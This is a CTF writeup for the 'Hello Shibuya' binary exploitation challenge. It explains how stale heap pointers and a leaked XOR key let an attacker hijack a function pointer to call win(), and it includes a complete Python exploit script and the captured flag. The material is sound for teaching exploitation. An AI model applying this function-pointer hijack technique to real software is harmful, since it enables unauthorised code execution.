Skip to main content
Hello Shibuya - CTF Writeup
  1. Writeups/
  2. CyberSummit V4.0 - CTF Writeups/
  3. Binary Exploitation/

Hello Shibuya - CTF Writeup

·1058 words·5 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Hello Shibuya
Category: PWN
CTF: CyberSummit V4.0 CTF
Description: Tokyo Jujutsu High’s vessel registry has started mutating cursed anchors. Find a way to break the domain ritual and extract the flag.
Connection: nc 172.205.208.94 9004


Challenge Overview
#

This challenge is a clean heap-based pointer integrity bypass.

The app stores vessels on the heap, protects a function pointer with XOR mangling, and gives us just enough leakage to recover the key. Once we recover that key, we can redirect the ritual pointer to attacker-controlled memory and make Invoke domain call win().

In short: UAF state + key recovery + pointer rewrite = direct win() execution.

Initial Reconnaissance
#

First, let’s inspect the binary:

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
       interpreter /lib64/ld-linux-x86-64.so.2, not stripped

$ pwn checksec chall
[*] '.../chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Key observations:

  • No PIE: code/global symbol addresses are fixed, so win and ritual_box are stable.
  • NX enabled + canary present: classic stack BOF path is discouraged.
  • Full RELRO: GOT overwrite route is closed.
  • Not stripped: symbols like win, ritual_box, and veil_key are easy to identify.

This already hints that the intended path is not stack ROP, but a logic/heap pointer attack.

Binary Analysis
#

Relevant Menu Surface
#

The important menu actions are:

  • 1. Summon vessel -> allocates and leaks heap pointer (Soul anchor at ...)
  • 2. Etch curse -> writes controlled bytes to slots[idx]->data
  • 3. Sequester vessel -> frees only data (record remains)
  • 5. Meditate on omen -> prints data_ptr ^ veil_key
  • 6. Transmute anchor -> for released vessels, decodes input and assigns pointer
  • 7. Invoke domain -> demangles hook from ritual_box and calls it

Core Primitives in Code
#

sequester creates the stale state:

free(slots[idx]->data);
slots[idx]->released = 1;

meditate leaks encoded pointer material:

omen = ((uint64_t)(uintptr_t)slots[idx]->data) ^ veil_key;
printf("omen shard: 0x%llx\n", omen);

transmute lets us reassign a released slot’s pointer after XOR decode:

encoded = strtoull(tmp, NULL, 16);
decoded = ptr_demangle(encoded);  // decoded = encoded ^ veil_key
slots[idx]->data = (char *)(uintptr_t)decoded;

invoke is the control-flow sink:

fn = (void (*)(void))(uintptr_t)ptr_demangle(ritual_box->mangled_hook);
fn();

So if we control ritual_box and place a valid mangled hook there, we control execution.

Exploitation Strategy
#

We exploit this in four deterministic steps.

Step 1: Leak data_ptr
#

summon prints Soul anchor at <ptr>, giving us the raw pointer for a controlled heap chunk.

Step 2: Recover veil_key
#

For that same slot, meditate gives:

omen_shard = data_ptr ^ veil_key

Therefore:

veil_key = omen_shard ^ data_ptr

Step 3: Repoint write primitive to ritual_box
#

Because released slots are still usable, we:

  1. release slot 1
  2. transmute slot 1 with encoded target:
encoded_anchor = ritual_box ^ veil_key

After internal decode, slots[1]->data = ritual_box.

Now etch(1, ...) writes directly to the global ritual_box pointer variable.

Step 4: Prepare fake ritual object and trigger call
#

We place a forged first qword in our controlled heap chunk (slot 0 data):

encoded_win = win ^ veil_key

Then we overwrite ritual_box to point to that chunk:

etch(slot1, p64(leaked_slot0_ptr))

When we invoke domain, program does:

ritual_box->mangled_hook -> demangle with veil_key -> win

and prints the flag.

Gathering Concrete Targets
#

Using nm:

$ nm -an chall | grep -E ' win$| ritual_box$| do_nothing$| veil_key$'
00000000004017e0 t do_nothing
00000000004018d0 T win
0000000000404060 b veil_key
0000000000404068 b ritual_box

win and ritual_box are fixed due to non-PIE, which makes the exploit very stable.

Final Exploit
#

#!/usr/bin/env python3
import argparse
import socket
import struct
import subprocess
from pathlib import Path

ROOT = Path(__file__).resolve().parent.parent
BINARY = ROOT / "host" / "chall"
PROMPT = b"> "


def sym(name: str) -> int:
    out = subprocess.check_output(["nm", "-an", str(BINARY)], text=True)
    for line in out.splitlines():
        parts = line.split()
        if len(parts) >= 3 and parts[2] == name:
            return int(parts[0], 16)
    raise RuntimeError(f"missing symbol: {name}")


class Tube:
    def __init__(self, argv=None, cwd=None, host=None, port=None):
        if host is not None and port is not None:
            self.p = None
            self.sock = socket.create_connection((host, port))
            self.rfile = self.sock.makefile("rb", buffering=0)
            self.wfile = self.sock.makefile("wb", buffering=0)
        else:
            self.p = subprocess.Popen(
                argv,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE,
                stderr=subprocess.STDOUT,
                cwd=cwd,
            )
            self.sock = None
            self.rfile = self.p.stdout
            self.wfile = self.p.stdin

    def recvuntil(self, token: bytes) -> bytes:
        data = bytearray()
        while not data.endswith(token):
            chunk = self.rfile.read(1)
            if not chunk:
                raise EOFError(data.decode(errors="ignore"))
            data += chunk
        return bytes(data)

    def recvline(self) -> bytes:
        data = bytearray()
        while True:
            chunk = self.rfile.read(1)
            if not chunk:
                raise EOFError(data.decode(errors="ignore"))
            data += chunk
            if chunk == b"\n":
                return bytes(data)

    def sendline(self, data: str) -> None:
        self.wfile.write(data.encode() + b"\n")
        self.wfile.flush()

    def send(self, data: bytes) -> None:
        self.wfile.write(data)
        self.wfile.flush()


def p64(x: int) -> bytes:
    return struct.pack("<Q", x)


def choose(t: Tube, n: int) -> None:
    t.sendline(str(n))


def summon(t: Tube, idx: int, size: int) -> int:
    choose(t, 1)
    t.recvuntil(b"seal index: ")
    t.sendline(str(idx))
    t.recvuntil(b"vessel size: ")
    t.sendline(str(size))
    t.recvuntil(b"Soul anchor at ")
    leak = int(t.recvline().strip(), 16)
    t.recvuntil(PROMPT)
    return leak


def etch(t: Tube, idx: int, payload: bytes) -> None:
    choose(t, 2)
    t.recvuntil(b"seal index: ")
    t.sendline(str(idx))
    t.recvuntil(b"incantation: ")
    t.send(payload)
    t.recvuntil(PROMPT)


def sequester(t: Tube, idx: int) -> None:
    choose(t, 3)
    t.recvuntil(b"seal index: ")
    t.sendline(str(idx))
    t.recvuntil(PROMPT)


def meditate(t: Tube, idx: int) -> int:
    choose(t, 5)
    t.recvuntil(b"seal index: ")
    t.sendline(str(idx))
    t.recvuntil(b"omen shard: 0x")
    omen = int(t.recvline().strip(), 16)
    t.recvuntil(PROMPT)
    return omen


def transmute(t: Tube, idx: int, encoded_target: int) -> None:
    choose(t, 6)
    t.recvuntil(b"seal index: ")
    t.sendline(str(idx))
    t.recvuntil(b"encoded anchor (hex): ")
    t.sendline(f"{encoded_target:x}")
    t.recvuntil(PROMPT)


def invoke(t: Tube) -> str:
    choose(t, 7)
    t.recvuntil(b"CyberTrace{")
    return (b"CyberTrace{" + t.recvline().strip()).decode()


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--remote", nargs=2, metavar=("HOST", "PORT"))
    args = parser.parse_args()

    win = sym("win")
    ritual_box = sym("ritual_box")

    if args.remote:
        host, port = args.remote[0], int(args.remote[1])
        t = Tube(host=host, port=port)
    else:
        t = Tube([str(BINARY)], cwd=str(BINARY.parent))

    t.recvuntil(PROMPT)

    size = 0x90
    leak = summon(t, 0, size)
    summon(t, 1, size)

    omen = meditate(t, 0)
    veil_key = omen ^ leak

    encoded_win = win ^ veil_key
    etch(t, 0, p64(encoded_win).ljust(size, b"W"))

    sequester(t, 1)

    encoded_anchor = ritual_box ^ veil_key
    transmute(t, 1, encoded_anchor)
    etch(t, 1, p64(leak).ljust(size, b"A"))

    print(invoke(t))


if __name__ == "__main__":
    main()

Execution
#

$ python3 solve.py --remote 172.205.208.94 9004
CyberTrace{Y0u_4r2_M7_Sp3c1Al_EneM7_XD}

Final Flag
#

CyberTrace{Y0u_4r2_M7_Sp3c1Al_EneM7_XD}

Key Takeaways
#

  1. Freeing only inner heap buffers while retaining object metadata is enough to create exploitable stale-pointer state.
  2. XOR pointer mangling is fragile when both encoded and raw forms of the same pointer are leakable.
  3. Non-PIE significantly improves reliability for symbol-targeted function-pointer hijacks.
  4. You do not always need a full ROP chain; a direct, integrity-bypassing function pointer pivot can be cleaner and more robust.

Related